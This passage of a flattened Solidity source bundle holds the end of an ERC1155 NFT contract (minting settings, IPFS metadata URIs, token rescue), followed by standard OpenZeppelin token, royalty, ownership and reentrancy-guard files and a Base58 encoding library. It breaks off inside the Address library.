price per token * @param amount Minimal price in wei (10**18) */ function setMinPrice(uint256 amount) external onlyOwner { require(amount > 0, "Min price cannot be 0"); uint256 oldPrice = minPrice; minPrice = amount; emit NewMinPrice(oldPrice, minPrice); } /** * @notice Sets the art manager * @param account Address to be used as art manager */ function setArtManager(address account) external onlyOwner { require(account != address(0), "Address 0"); artManager = account; } /** * @notice Enable/Disable minting for whole collection * @param enable Whether the minting is enable or not */ function setMintEnabled(bool enable) external onlyOwner { mintEnabled = enable; emit MintingEnabled(enable); } /** * @notice Enable/Disable minting for given token id * @param id Token id * @param enable Whether the minting is enabled or not */ function setMintEnabledForId(uint256 id, bool enable) external onlyArtManager { idExists(id); mintEnabledId[id] = enable; emit MintingEnabledId(id, enable); } /** * @notice Sets maximum supply for given token id * @param id Token id * @param max Maximum supply */ function setMaxSupply(uint256 id, uint256 max) external onlyArtManager { idExists(id); maxSupply[id] = max; } /** * @notice Enable/Disable automatic forwarding of ETH to */ function setAutoForward(bool enable) external onlyOwner { require(autoForward != enable, "Already set"); autoForward = enable; } /** * @notice Allows rescuing ERC20 tokens from the contract * @param token Token address * @param to Recipient address */ function rescueTokens(address token, address to) external onlyOwner nonReentrant { require(token != address(0), "Nothing to rescue"); uint256 amount = IERC20(token).balanceOf(address(this)); if (amount > 0) { require(IERC20(token).transfer(to, amount), "Transfer failed"); } emit Rescued(token, amount, to); } /** * @notice Generates full IPFS CID from stored bytes32 part * @param id Token id */ function getHash(uint256 id) public view returns (bytes memory) { bytes32 hash = idHash[id]; require(hash != 0, "Incorrect ID"); uint8 x = 0x12; uint8 y = 0x20; return abi.encodePacked(x, y, hash); } /** * @notice Constructs and returns URI to token metadata on IPFS * @param id Token id * @return string URI to metadata.json*/ function uri(uint256 id) public view override returns(string memory) { bytes memory hash = getHash(id); return string(abi.encodePacked(_uri, Base58.toBase58(hash), "/metadata.json")); } struct TokenInfo { string uri; bool mintable; uint256 maxSupply; uint256 totalSupply; } /** * @notice Get URIs for all tokens * returns string[] Array of URIs */ function getInfo() external view returns(TokenInfo[] memory) { TokenInfo[] memory info = new TokenInfo[](idCounter); for(uint256 i=0; i<idCounter; i++) { info[i].maxSupply = maxSupply[i]; info[i].uri = uri(i); info[i].totalSupply = totalSupply[i]; info[i].mintable = mintEnabledId[i]; } return info; } function getApprovedRecipients() external view returns(address[] memory) { return approvedRecipientsList; } function contractURI() public view returns (string memory) { return _contractMetadataURI; } modifier onlyArtManager() { require(msg.sender == artManager, "Not the art manager"); _; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol) pragma solidity ^0.8.0; import "../../interfaces/IERC2981.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the * fee is specified in basis points by default. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ */ abstract contract ERC2981 is IERC2981, ERC165 { struct RoyaltyInfo { address receiver; uint96 royaltyFraction; } RoyaltyInfo private _defaultRoyaltyInfo; mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } /** * @inheritdoc IERC2981 */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual override returns (address, uint256) { RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId]; if (royalty.receiver == address(0)) { royalty = _defaultRoyaltyInfo; } uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator(); return (royalty.receiver, royaltyAmount); } /** * @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a * fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an * override. */ function _feeDenominator() internal pure virtual returns (uint96) { return 10000; } /** * @dev Sets the royalty information that all ids in this contract will default to. * * Requirements: * * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: invalid receiver"); _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Removes default royalty information. */ function _deleteDefaultRoyalty() internal virtual { delete _defaultRoyaltyInfo; } /** * @dev Sets the royalty information for a specific token id, overriding the global default. * * Requirements: * * - `tokenId` must be already minted. * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: Invalid parameters"); _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Resets royalty information for the token id back to the global default. */ function _resetTokenRoyalty(uint256 tokenId) internal virtual { delete _tokenRoyaltyInfo[tokenId]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Base58 { /// @dev Converts hex string to base 58 function toBase58(bytes memory source) internal pure returns (bytes memory) { if (source.length == 0) return new bytes(0); uint8[] memory digits = new uint8[](64); //TODO: figure out exactly how much is needed digits[0] = 0; uint8 digitlength = 1; for (uint256 i = 0; i<source.length; ++i) { uint carry = uint8(source[i]); for (uint256 j = 0; j<digitlength; ++j) { carry += uint(digits[j]) * 256; digits[j] = uint8(carry % 58); carry = carry / 58; } while (carry > 0) { digits[digitlength] = uint8(carry % 58); digitlength++; carry = carry / 58; } } //return digits; return toAlphabet(reverse(truncate(digits, digitlength))); } function truncate(uint8[] memory array, uint8 length) internal pure returns (uint8[] memory) { uint8[] memory output = new uint8[](length); for (uint256 i = 0; i<length; i++) { output[i] = array[i]; } return output; } function reverse(uint8[] memory input) internal pure returns (uint8[] memory) { uint8[] memory output = new uint8[](input.length); for (uint256 i = 0; i<input.length; i++) { output[i] = input[input.length-1-i]; } return output; } bytes constant ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; function toAlphabet(uint8[] memory indices) internal pure returns (bytes memory) { bytes memory output = new bytes(indices.length); for (uint256 i = 0; i<indices.length; i++) { output[i] = ALPHABET[indices[i]]; } return output; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, 